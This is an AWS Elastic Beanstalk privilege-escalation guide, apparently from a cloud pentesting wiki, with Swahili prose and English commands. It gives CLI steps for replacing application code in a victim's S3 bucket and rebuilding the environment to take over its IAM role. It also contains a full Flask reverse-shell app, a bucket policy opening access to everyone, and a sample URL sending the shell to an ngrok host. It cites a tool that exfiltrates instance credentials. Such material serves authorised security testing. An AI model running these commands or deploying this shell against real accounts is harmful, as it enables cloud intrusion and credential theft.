AWS - Elastic Beanstalk Privesc

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Elastic Beanstalk

Maelezo zaidi kuhusu Elastic Beanstalk katika:

AWS - Elastic Beanstalk Enum

Ili kufanya vitendo nyeti katika Beanstalk, utahitaji kuwa na idhini nyingi nyeti katika huduma nyingi tofauti. Unaweza kuangalia kwa mfano idhini zilizotolewa kwa arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, S3 write permissions & many others

Kwa idhini za kuandika juu ya S3 bucket inayoshikilia code ya mazingira na idhini za kurebuild programu (inahitajika elasticbeanstalk:RebuildEnvironment na nyingine chache zinazohusiana na S3, EC2 na Cloudformation), unaweza kubadilisha code, kurebuild programu na wakati ujao unapoingia kwenye programu it itekeleze code yako mpya, ikiruhusu mshambuliaji kuathiri programu na akreditivu za IAM role zake.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, na mengineyo...

Iliyotajwa pamoja na ruhusa kadhaa za S3, EC2, cloudformation, autoscaling na elasticloadbalancing ni muhimu ili kuunda hali ya msingi ya Elastic Beanstalk kutoka mwanzo.

• Unda programu ya AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp

• Unda mazingira ya AWS Elastic Beanstalk (jukwaa zinazoungwa mkono):

aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Ikiwa mazingira tayari yameundwa na hutaki kuunda mpya, unaweza tu kusasisha ile iliyopo.

• Pakia msimbo wa programu yako na utegemezi katika faili la ZIP:

zip -r MyApp.zip .

• Pakia faili la ZIP kwenye S3 bucket:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip

• Unda toleo la programu ya AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"

• Tumia toleo la programu kwenye mazingira yako ya AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Kwanza kabisa unahitaji kuunda mazingira halali ya Beanstalk na msimbo ambao ungependa kuendesha katika mhasiriwa kufuata hatua zilizopita. Inaweza kuwa zip rahisi inayoshikilia faili hizi 2:

application.py

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

mahitaji.txt

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Mara umepata mazingira yako ya Beanstalk yanayoendesha rev shell yako, ni wakati wa kuhamasisha kwenye mazingira ya mwathirika. Ili kufanya hivyo, unahitaji kusaidia Sera ya Bucket ya bucket yako ya beanstalk S3 ili mwathirika aweze kuifikia (Kumbuka kwamba hii itafungua Bucket kwa KILA MTU):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.

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